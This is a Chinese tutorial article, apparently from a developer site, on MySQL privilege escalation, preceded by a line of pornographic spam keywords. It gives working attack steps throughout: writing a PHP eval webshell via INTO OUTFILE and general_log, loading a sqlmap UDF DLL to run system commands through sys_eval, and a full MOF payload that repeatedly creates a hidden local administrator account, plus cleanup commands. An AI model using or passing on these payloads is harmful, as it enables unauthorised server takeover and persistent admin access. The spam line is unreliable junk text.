欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Mysql提權(quán)的多種姿勢匯總

 更新時間:2021年08月02日 14:32:30   作者:大鵬東南飛  
這篇文章主要給大家介紹了關(guān)于Mysql提權(quán)的多種姿勢,姿勢包括寫入Webshell、UDF提權(quán)以及MOF提權(quán),文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考下

一、寫入Webshell

into outfile 寫shell

前提條件:

1、知道網(wǎng)站物理路徑

2、高權(quán)限數(shù)據(jù)庫用戶

3、load_file() 開啟 即 secure_file_priv 無限制

4、網(wǎng)站路徑有寫入權(quán)限

首先基礎(chǔ)語法查詢是否 secure_file_priv 沒有限制

show global variables like '%secure_file_priv%';

value 說明
NULL 不允許導(dǎo)入或?qū)С?/td>
/var 只允許在/var目錄導(dǎo)入導(dǎo)出
不限制目錄

在 MySQL 5.5 之前 secure_file_priv 默認(rèn)是空,這個情況下可以向任意絕對路徑寫文件

在 MySQL 5.5之后 secure_file_priv 默認(rèn)是 NULL,這個情況下不可以寫文件

如果滿足上述所有條件的話,那么可以嘗試使用下面的 SQL 語句來直接寫 shell:

select '<?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';

查看目標(biāo)路徑下,已寫入shell.php文件

上菜刀連接

日志文件寫shell

前提條件:

1、Web 文件夾寬松權(quán)限可以寫入

2、Windows 系統(tǒng)下

3、高權(quán)限運行 MySQL 或者 Apache

MySQL 5.0 版本以上會創(chuàng)建日志文件,可以通過修改日志的全局變量來 getshell

查看日志目錄

SHOW VARIABLES LIKE 'general%';

general_log 默認(rèn)關(guān)閉,開啟它可以記錄用戶輸入的每條命令,會把其保存在對應(yīng)的日志文件中。
可以嘗試自定義日志文件,并向日志文件里面寫入內(nèi)容的話,那么就可以成功 getshell:

更改日志文件位置

set global general_log = "ON";
set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';

查看當(dāng)前日志配置

目標(biāo)目錄下查看,寫入了log.php文件

寫入shell

select '<?php @eval($_POST[cmd]); ?>'

上菜刀,連接


二、UDF提權(quán)

自定義函數(shù),是數(shù)據(jù)庫功能的一種擴(kuò)展。用戶通過自定義函數(shù)可以實現(xiàn)在 MySQL 中無法方便實現(xiàn)的功能,其添加的新函數(shù)都可以在SQL語句中調(diào)用,就像調(diào)用本機(jī)函數(shù) version() 等方便。

動態(tài)鏈接庫

如果是 MySQL >= 5.1 的版本,必須把 UDF 的動態(tài)鏈接庫文件放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下文件夾下才能創(chuàng)建自定義函數(shù)。

那么動態(tài)鏈接庫文件去哪里找呢?實際上我們常用的工具 sqlmap 和 Metasploit 里面都自帶了對應(yīng)系統(tǒng)的動態(tài)鏈接庫文件。

sqlmap的UDF動態(tài)鏈接庫文件位置

sqlmap根目錄/data/udf/mysql

不過 sqlmap 中 自帶這些動態(tài)鏈接庫為了防止被誤殺都經(jīng)過編碼處理過,不能被直接使用。不過可以利用 sqlmap 自帶的解碼工具cloak.py 來解碼使用,cloak.py 的位置為:sqlmap根目錄/extra/cloak/cloak.py ,

解碼方法如下:

解碼32位的windows動態(tài)鏈接庫:

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

其他linux和windows動態(tài)鏈接庫解碼類似

或者直接使用metasploit自帶的動態(tài)鏈接庫,無需解碼

Metasploit的UDF動態(tài)鏈接庫文件位置

接下來的任務(wù)是把 UDF 的動態(tài)鏈接庫文件放到 MySQL 的插件目錄下,這個目錄改如何去尋找呢?可以使用如下的 SQL 語句來查詢:

show variables like '%plugin%'


寫入動態(tài)鏈接庫

當(dāng) secure_file_priv 無限制的時候,我們可以手工寫文件到 plugin 目錄下的

select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';

c

創(chuàng)建自定義函數(shù)并調(diào)用命令

創(chuàng)建自定義函數(shù)

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否新增了sys_eval

接著就可以通過創(chuàng)建的這個函數(shù)來執(zhí)行系統(tǒng)命令了:

刪除自定義函數(shù)

drop function sys_eval;

三、MOF提權(quán)

mof提權(quán)原理

關(guān)于 mof 提權(quán)的原理其實很簡單,就是利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鐘都會在一個特定的時間去執(zhí)行一次的特性,來寫入我們的cmd命令使其被帶入執(zhí)行。

嚴(yán)苛的前提條件:

1.windows 03及以下版本

2.mysql啟動身份具有權(quán)限去讀寫c:/windows/system32/wbem/mof目錄

3.secure-file-priv參數(shù)不為null

提權(quán)過程:

MOF文件每五秒就會執(zhí)行,而且是系統(tǒng)權(quán)限,我們通過mysql使用load_file 將文件寫入/wbme/mof,然后系統(tǒng)每隔五秒就會執(zhí)行一次我們上傳的MOF。MOF當(dāng)中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內(nèi)容讓系統(tǒng)執(zhí)行命令,進(jìn)行提權(quán)。

利用代碼如下(test.mof):

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:

將上面的腳本上傳到有讀寫權(quán)限的目錄下:

這里我上傳到了C:\soft\,我們使用sql語句將文件導(dǎo)入到c:/windows/system32/wbem/mof/下

select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

驗證提權(quán):

當(dāng)我們成功把mof導(dǎo)出時,mof就會直接被執(zhí)行,且5秒創(chuàng)建一次用戶。

關(guān)于MOF提權(quán)弊端

我們提權(quán)成功后,就算被刪號,mof也會在五秒內(nèi)將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹(jǐn)慎使用。那么我們?nèi)绾蝿h掉我們的入侵賬號呢?

cmd 下運行下面語句:

#停止winmgmt服務(wù)
net stop winmgmt

#刪除 Repository 文件夾
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手動刪除 mof 文件
del c:/windows/system32/wbem/mof/nullevt.mof /F /S

# 刪除創(chuàng)建的用戶
net user hpdoger /delete

#重啟服務(wù)
net start winmgmt

總結(jié)

到此這篇關(guān)于Mysql提權(quán)姿勢的文章就介紹到這了,更多相關(guān)Mysql提權(quán)姿勢內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 探究MySQL優(yōu)化器對索引和JOIN順序的選擇

    探究MySQL優(yōu)化器對索引和JOIN順序的選擇

    這篇文章主要介紹了探究MySQL優(yōu)化器對索引和JOIN順序的選擇,包括在優(yōu)化器做出錯誤判斷時的選擇情況,需要的朋友可以參考下
    2015-05-05
  • MySQL insert into select 主鍵沖突解決方案

    MySQL insert into select 主鍵沖突解決方案

    本文主要介紹了MySQL insert into select主鍵沖突解決方案,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-06-06
  • Mysql保持現(xiàn)有內(nèi)容在后面增加內(nèi)容的sql語句

    Mysql保持現(xiàn)有內(nèi)容在后面增加內(nèi)容的sql語句

    這篇文章主要介紹了Mysql保持現(xiàn)有內(nèi)容在后面增加內(nèi)容的sql語句,需要的朋友可以參考下
    2017-05-05
  • MySQL 實現(xiàn)樹的遍歷詳解及簡單實現(xiàn)示例

    MySQL 實現(xiàn)樹的遍歷詳解及簡單實現(xiàn)示例

    這篇文章主要介紹了MySQL 實現(xiàn)樹的遍歷詳解及簡單實現(xiàn)示例的相關(guān)資料,這里提供了示例代碼及測試結(jié)果,需要的朋友可以參考下
    2017-01-01
  • MYSQL開啟遠(yuǎn)程訪問權(quán)限的方法

    MYSQL開啟遠(yuǎn)程訪問權(quán)限的方法

    在本篇文章里小編給大家整理的是關(guān)于MYSQL開啟遠(yuǎn)程訪問權(quán)限的方法,對此有興趣的朋友們可以跟著學(xué)習(xí)下。
    2020-02-02
  • mysql導(dǎo)出導(dǎo)入中文表解決方法

    mysql導(dǎo)出導(dǎo)入中文表解決方法

    在開發(fā)過程中會經(jīng)常用到mysql導(dǎo)出導(dǎo)入中文表,本文將詳細(xì)介紹其如何使用,需要的朋友可以參考下
    2012-11-11
  • Mysql 開啟Federated引擎的方法

    Mysql 開啟Federated引擎的方法

    FEDERATED是其中一個專門針對遠(yuǎn)程數(shù)據(jù)庫的實現(xiàn)。一般情況下在本地數(shù)據(jù)庫中建表會在數(shù)據(jù)庫目錄中生成相應(yīng)的表定義文件,并同時生成相應(yīng)的數(shù)據(jù)文件
    2012-12-12
  • IP處理函數(shù)inet_aton()和inet_ntoa()使用說明

    IP處理函數(shù)inet_aton()和inet_ntoa()使用說明

    IP處理函數(shù)inet_aton()和inet_ntoa()使用說明,需要的朋友可以參考下
    2012-03-03
  • MySQL臨時表的具體使用

    MySQL臨時表的具體使用

    MySQL中的臨時表是在會話期間存在的表,本文主要介紹了MySQL臨時表的具體使用,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-05-05
  • 一文搞懂MySQL持久化和回滾的原理

    一文搞懂MySQL持久化和回滾的原理

    本文主要介紹了MySQL持久化和回滾的原理,文中通過示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-11-11

最新評論